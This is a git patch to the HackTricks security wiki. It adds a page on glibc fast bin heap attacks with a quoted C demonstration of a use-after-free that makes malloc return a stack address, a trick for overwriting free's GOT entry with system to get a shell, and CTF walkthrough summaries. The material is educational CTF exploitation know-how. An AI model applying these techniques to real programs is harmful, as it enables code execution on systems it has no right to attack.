From 42d323a894a1c36ba4bc26d7ef130f1dea5e68b6 Mon Sep 17 00:00:00 2001 From: CPol Date: Wed, 12 Jun 2024 11:27:05 +0000 Subject: [PATCH] GITBOOK-4353: No subject --- SUMMARY.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 4 + binary-exploitation/heap/fast-bin-attack.md | 130 +++++++++++++++++- 3 files changed, 131 insertions(+), 5 deletions(-) diff --git a/SUMMARY.md b/SUMMARY.md index 97054dc6f..c76bee72e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -731,6 +731,7 @@ * [Use After Free](binary-exploitation/heap/use-after-free/README.md) * [First Fit](binary-exploitation/heap/use-after-free/first-fit.md) * [Double Free](binary-exploitation/heap/double-free.md) + * [Heap Overflow](binary-exploitation/heap/heap-overflow.md) * [Unlink Attack](binary-exploitation/heap/unlink-attack.md) * [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md) * [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md) @@ -743,7 +744,6 @@ * [House of Orange](binary-exploitation/heap/house-of-orange.md) * [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md) * [House of Roman](binary-exploitation/heap/house-of-roman.md) - * [Heap Overflow](binary-exploitation/heap/heap-overflow.md) * [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md) * [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md) * [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index d9a1ce162..8c374009d 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -62,6 +62,10 @@ Common functions of the libc are going to call **other internal functions** whos Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +## **Free2system** + +In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. + ## **One Gadget** {% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %} diff --git a/binary-exploitation/heap/fast-bin-attack.md b/binary-exploitation/heap/fast-bin-attack.md index 44ca746db..bfcdc88ab 100644 --- a/binary-exploitation/heap/fast-bin-attack.md +++ b/binary-exploitation/heap/fast-bin-attack.md @@ -14,7 +14,133 @@ Other ways to support HackTricks: +## Basic Information +Because the fast bin is single linked, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. + +As summary: + +{% code overflow="wrap" %} +```c +ptr0 = malloc(0x20); +ptr1 = malloc(0x20); + +// Put them in fast bin (suppose tcache is full) +free(ptr0) +free(ptr1) + +// Use-after-free +// Modify the address where the free chunk of ptr1 is pointing +*ptr1 = (unsigned long)((char *)&
); + +ptr2 = malloc(0x20); // This will get ptr1 +ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it +``` +{% endcode %} + +You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html): + +```c +#include +#include +#include + +int main(void) +{ + puts("Today we will be discussing a fastbin attack."); + puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); + puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); + puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); + puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); + puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); + puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); + puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); + puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); + + puts("Let's start, we will allocate three chunks of size 0x30\n"); + unsigned long *ptr0, *ptr1, *ptr2; + + ptr0 = malloc(0x30); + ptr1 = malloc(0x30); + ptr2 = malloc(0x30); + + printf("Chunk 0: %p\n", ptr0); + printf("Chunk 1: %p\n", ptr1); + printf("Chunk 2: %p\n\n", ptr2); + + + printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); + + int stackVar = 0x55; + + printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); + + printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); + + char *data0 = "00000000"; + char *data1 = "11111111"; + char *data2 = "22222222"; + + memcpy(ptr0, data0, 0x8); + memcpy(ptr1, data1, 0x8); + memcpy(ptr2, data2, 0x8); + + printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); + + printf("Chunk 0: %s\n", (char *)ptr0); + printf("Chunk 1: %s\n", (char *)ptr1); + printf("Chunk 2: %s\n\n", (char *)ptr2); + + printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); + + free(ptr0); + free(ptr1); + free(ptr2); + + printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); + printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); + printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); + + printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); + + + printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); + printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); + + *ptr1 = (unsigned long)((char *)&stackVar); + + printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); + + + printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); + printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); + + unsigned long *ptr3, *ptr4, *ptr5; + + ptr3 = malloc(0x30); + ptr4 = malloc(0x30); + ptr5 = malloc(0x30); + + printf("Chunk 3: %p\n", ptr3); + printf("Chunk 4: %p\n", ptr4); + printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); + + printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +} + +``` + +## Examples + +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** + * It's possible to alloc chunks, free then, read their contents and fill them (with an overflow vulnerability). + * **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to crate a fake prev\_size so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (main\_arena+88). + * **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that was pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before malloc\_hook (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ + Finally a **one gadget** was written in there. +* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** + * There is a heap overflow and user after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers + * **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. + * **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to point to the got address of `free` to point to system and then write chunk 1 `"/bin/sh"` to then `free(chunk1)` which will execute `system("/bin/sh")`. You can find a Fast Bin attack abused through an unsorted bin attack in the examples from: @@ -22,10 +148,6 @@ You can find a Fast Bin attack abused through an unsorted bin attack in the exam [unsorted-bin-attack.md](unsorted-bin-attack.md) {% endcontent-ref %} - - - -
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!